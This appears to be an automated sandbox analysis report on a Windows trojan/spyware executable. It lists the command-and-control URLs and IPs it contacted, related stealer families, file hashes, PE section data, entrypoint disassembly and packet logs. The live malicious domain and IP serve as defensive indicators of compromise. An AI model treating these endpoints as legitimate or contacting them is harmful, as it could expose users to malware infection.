⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322http://home.twentytk20pn.top/WEIsmPfDcpBF100%Avira URL Cloudmalware
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN17343663225a1100%Avira URL Cloudmalware

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
home.twentytk20pn.top
194.87.47.113
truefalse
    		high
    httpbin.org
    		98.85.100.80
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322false
        		high
        https://httpbin.org/ipfalse
          		high

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          https://curl.se/docs/hsts.htmlRy6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
            		high
            http://html4/loose.dtdRy6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
              		high
              https://curl.se/docs/alt-svc.html#Ry6ot1YULB.exefalse
                		high
                https://httpbin.org/ipbeforeRy6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                  		high
                  http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN17343663225a1Ry6ot1YULB.exe, 00000000.00000003.2724038564.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2724088596.0000000001D27000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: malware
                  		unknown
                  https://curl.se/docs/http-cookies.htmlRy6ot1YULB.exe, Ry6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                    		high
                    https://curl.se/docs/hsts.html#Ry6ot1YULB.exefalse
                      		high
                      https://curl.se/docs/alt-svc.htmlRy6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                        		high
                        http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                          		high
                          http://.cssRy6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                            		high
                            http://.jpgRy6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmp, Ry6ot1YULB.exe, 00000000.00000003.2065033527.000000000776F000.00000004.00001000.00020000.00000000.sdmpfalse
                              		high
                              http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322http://home.twentytk20pn.top/WEIsmPfDcpBFRy6ot1YULB.exe, 00000000.00000002.2724474520.0000000001410000.00000040.00000001.01000000.00000003.sdmpfalse
                              • Avira URL Cloud: malware
                              		unknown

                              World Map of Contacted IPs

                              • No. of IPs < 25%
                              • 25% < No. of IPs < 50%
                              • 50% < No. of IPs < 75%
                              • 75% < No. of IPs

                              Public IPs

                              IPDomainCountryFlagASNASN NameMalicious
                              98.85.100.80
                              		httpbin.orgUnited States
                              		11351TWC-11351-NORTHEASTUSfalse
                              194.87.47.113
                              		home.twentytk20pn.topRussian Federation
                              		49392ASBAXETNRUfalse

                              General Information

                              Joe Sandbox version:41.0.0 Charoite
                              Analysis ID:1578073
                              Start date and time:2024-12-19 08:35:16 +01:00
                              Joe Sandbox product:CloudBasic
                              Overall analysis duration:0h 5m 56s
                              Hypervisor based Inspection enabled:false
                              Report type:full
                              Cookbook file name:default.jbs
                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                              Number of analysed new started processes analysed:4
                              Number of new started drivers analysed:0
                              Number of existing processes analysed:0
                              Number of existing drivers analysed:0
                              Number of injected processes analysed:0
                              Technologies:
                              • HCA enabled
                              • EGA enabled
                              • AMSI enabled
                              Analysis Mode:default
                              Analysis stop reason:Timeout
                              Sample name:Ry6ot1YULB.exe
                              renamed because original name is a hash value
                              Original Sample Name:0ac83051d42c812a3deb74e093c48f9e.exe
                              Detection:MAL
                              Classification:mal100.troj.spyw.evad.winEXE@1/0@24/2
                              EGA Information:
                              • Successful, ratio: 100%
                              HCA Information:
                              • Successful, ratio: 51%
                              • Number of executed functions: 30
                              • Number of non-executed functions: 50
                              Cookbook Comments:
                              • Found application associated with file extension: .exe

                              Warnings

                              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                              • Excluded IPs from analysis (whitelisted): 13.107.246.63, 20.12.23.50
                              • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                              • VT rate limit hit for: Ry6ot1YULB.exe

                              Simulations

                              Behavior and APIs

                              TimeTypeDescription
                              02:36:39API Interceptor187728x Sleep call for process: Ry6ot1YULB.exe modified

                              Joe Sandbox View / Context

                              IPs

                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                              98.85.100.80Cc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                  Sh2uIqqKqc.exeGet hashmaliciousCryptbotBrowse
                                    rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                      file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                        NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                          W6seF0MjGW.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                            f1842FwKth.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                              aweqG2ssAY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                vH7JfdNi3c.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  194.87.47.113Cc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  NWKk493xTy.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  88S3zQTYpl.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322
                                                  NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322

                                                  Domains

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  httpbin.orgCc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                                  • 98.85.100.80
                                                  wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                                  • 98.85.100.80
                                                  Sh2uIqqKqc.exeGet hashmaliciousCryptbotBrowse
                                                  • 98.85.100.80
                                                  rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                  • 98.85.100.80
                                                  NWKk493xTy.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 34.226.108.155
                                                  88S3zQTYpl.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 34.226.108.155
                                                  NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  W6seF0MjGW.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                  • 34.226.108.155
                                                  home.twentytk20pn.topCc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                                  • 194.87.47.113
                                                  wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                                  • 194.87.47.113
                                                  rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                  • 194.87.47.113
                                                  NWKk493xTy.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  88S3zQTYpl.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, StealcBrowse
                                                  • 185.185.71.170
                                                  aweqG2ssAY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 185.185.71.170
                                                  EnoSY3z6MP.exeGet hashmaliciousCryptbotBrowse
                                                  • 185.185.71.170

                                                  ASNs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  TWC-11351-NORTHEASTUSCc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                                  • 98.85.100.80
                                                  wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                                  • 98.85.100.80
                                                  Sh2uIqqKqc.exeGet hashmaliciousCryptbotBrowse
                                                  • 98.85.100.80
                                                  rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                  • 98.85.100.80
                                                  NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  W6seF0MjGW.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  f1842FwKth.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  aweqG2ssAY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  vH7JfdNi3c.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 98.85.100.80
                                                  ASBAXETNRUCc8zEnIDB2.exeGet hashmaliciousUnknownBrowse
                                                  • 194.87.47.113
                                                  wlEp68Few5.exeGet hashmaliciousUnknownBrowse
                                                  • 194.87.47.113
                                                  rJvOqHxkuI.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  file.exeGet hashmaliciousLummaC, Amadey, LummaC StealerBrowse
                                                  • 194.87.47.113
                                                  NWKk493xTy.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  88S3zQTYpl.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  NVkyG9HAeY.exeGet hashmaliciousClipboard Hijacker, CryptbotBrowse
                                                  • 194.87.47.113
                                                  17345062850621022e2a034193497843f70f72ad0e2a6d5b0e23bb6cd0de4c41fac1759029833.dat-decoded.exeGet hashmaliciousAsyncRAT, DcRatBrowse
                                                  • 45.135.232.38
                                                  H6Lzd3cP3H.exeGet hashmaliciousUnknownBrowse
                                                  • 194.87.47.99
                                                  k4c3YnjoBr.exeGet hashmaliciousCryptbotBrowse
                                                  • 194.87.47.99

                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  ⊘No context

                                                  Created / dropped Files

                                                  ⊘No created / dropped files found

                                                  Static File Info

                                                  General

                                                  File type:PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
                                                  Entropy (8bit):7.986866064116293
                                                  TrID:
                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                  • DOS Executable Generic (2002/1) 0.02%
                                                  • VXD Driver (31/22) 0.00%
                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                  File name:Ry6ot1YULB.exe
                                                  File size:4'453'888 bytes
                                                  MD5:0ac83051d42c812a3deb74e093c48f9e
                                                  SHA1:ef8dbb841cf66cb66eeefcd282baaa0544dd1fbd
                                                  SHA256:9efc2d4a5f40a0bf856d84858ba422d4c504a276f03fa87aec827f266726ce09
                                                  SHA512:ee04c5ff5f73156cacbb95a3d5d8aebd0e28a011aa46ffe800d2d3b50be16b88eff285e87494b2ec9fe664c7e6ab2124e405d9523a691d8a953aeb89617f5021
                                                  SSDEEP:98304:gzUjg5FqNPOmOaa+KFi90WNEZsx2VeUsGkXM9Aby5fgkaZdX:25FqN0aKFoXMKgXsGHAu5fAd
                                                  TLSH:1C26338109620CAFC68C66F743A2D4CF0276754D0AA5AF79412D23B7E14FA84FF54AF6
                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@..................................`D...@... ............................

                                                  File Icon

                                                  Icon Hash:00928e8e8686b000

                                                  Static PE Info

                                                  General

                                                  Entrypoint:0xf5d000
                                                  Entrypoint Section:.taggant
                                                  Digitally signed:false
                                                  Imagebase:0x400000
                                                  Subsystem:windows gui
                                                  Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
                                                  DLL Characteristics:DYNAMIC_BASE
                                                  Time Stamp:0x676055E0 [Mon Dec 16 16:31:28 2024 UTC]
                                                  TLS Callbacks:
                                                  CLR (.Net) Version:
                                                  OS Version Major:4
                                                  OS Version Minor:0
                                                  File Version Major:4
                                                  File Version Minor:0
                                                  Subsystem Version Major:4
                                                  Subsystem Version Minor:0
                                                  Import Hash:2eabe9054cad5152567f0699947a2c5b

                                                  Entrypoint Preview

                                                  Instruction
                                                  jmp 00007F7B20DAD8DAh
                                                  paddq mm0, qword ptr [ebx+00h]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  jmp 00007F7B20DAF8D5h
                                                  add byte ptr [0000000Ah], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], dl
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [edx], al
                                                  or al, byte ptr [eax]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [0200000Ah], al
                                                  or al, byte ptr [eax]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], cl
                                                  add byte ptr [eax], 00000000h
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  adc byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  push es
                                                  or al, byte ptr [eax]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al

                                                  Data Directories

                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x61905f0x73.idata
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x6180000x2b0.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0xb5b5e80x10ocsbkfkw
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0xb5b5980x18ocsbkfkw
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                  Sections

                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  0x10000x6170000x283e0059d533b4afcf3dadc0a7aec414872710unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .rsrc0x6180000x2b00x200c83e6ddfdfe53a0e3119799191a43bc6False0.798828125data6.079824835628213IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .idata 0x6190000x10000x200e8fbf92e0939d0cd4935f0fe539e974dFalse0.166015625data1.1763897754724144IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  0x61a0000x38a0000x200b46e5f0a61357fb79fff29d05ab983ebunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  ocsbkfkw0x9a40000x1b80000x1b7a0037eb0948351da7a369206ef1dbf3a826False0.9944516144796701data7.956906255331213IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  ujuhopim0xb5c0000x10000x600beeda9570c9f6d27685ebe6f7d010950False0.5657552083333334data4.990739240424247IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                  .taggant0xb5d0000x30000x22000985cbb3f37daf09429d6ebdf0d6d42eFalse0.06767003676470588DOS executable (COM)0.7075136348854009IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                                  Resources

                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                  RT_MANIFEST0xb5b5f80x256ASCII text, with CRLF line terminators0.5100334448160535

                                                  Imports

                                                  DLLImport
                                                  kernel32.dlllstrcpy

                                                  Network Behavior

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 19, 2024 08:36:12.128896952 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:12.128928900 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:12.128992081 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:12.140537024 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:12.140547037 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.884637117 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.885193110 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:13.885206938 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.887778044 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.887840986 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:13.889381886 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:13.889725924 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.900696039 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:13.900707006 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:13.941817045 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:14.256465912 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:14.256664991 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:14.256794930 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:14.332274914 CET49704443192.168.2.598.85.100.80
                                                  Dec 19, 2024 08:36:14.332304955 CET4434970498.85.100.80192.168.2.5
                                                  Dec 19, 2024 08:36:15.383758068 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.503340006 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.503504038 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.504826069 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.624479055 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.624516964 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.624562979 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.624612093 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.624619961 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.624644995 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.624665976 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625174999 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625201941 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625230074 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625241041 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625433922 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625461102 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625485897 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625509024 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625521898 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625549078 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.625570059 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625586033 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.625597000 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744101048 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744170904 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744234085 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744267941 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744271994 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744290113 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744330883 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744381905 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744422913 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744426012 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744461060 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.744473934 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.744496107 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.785305023 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.785459042 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.905282021 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.905369997 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:15.949336052 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:15.949470043 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.069171906 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.069261074 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.229265928 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.229434967 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.429472923 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.430857897 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.515815973 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.519326925 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.519419909 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.551683903 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.552772045 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639245033 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639336109 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639368057 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639396906 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639447927 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639448881 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639502048 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639508963 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639575005 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639631033 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639658928 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639688015 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639738083 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639789104 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639822006 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.639878035 CET4970580192.168.2.5194.87.47.113
                                                  Dec 19, 2024 08:36:16.639971972 CET8049705194.87.47.113192.168.2.5
                                                  Dec 19, 2024 08:36:16.640121937 CET8049705194.87.47.113192.168.2.5
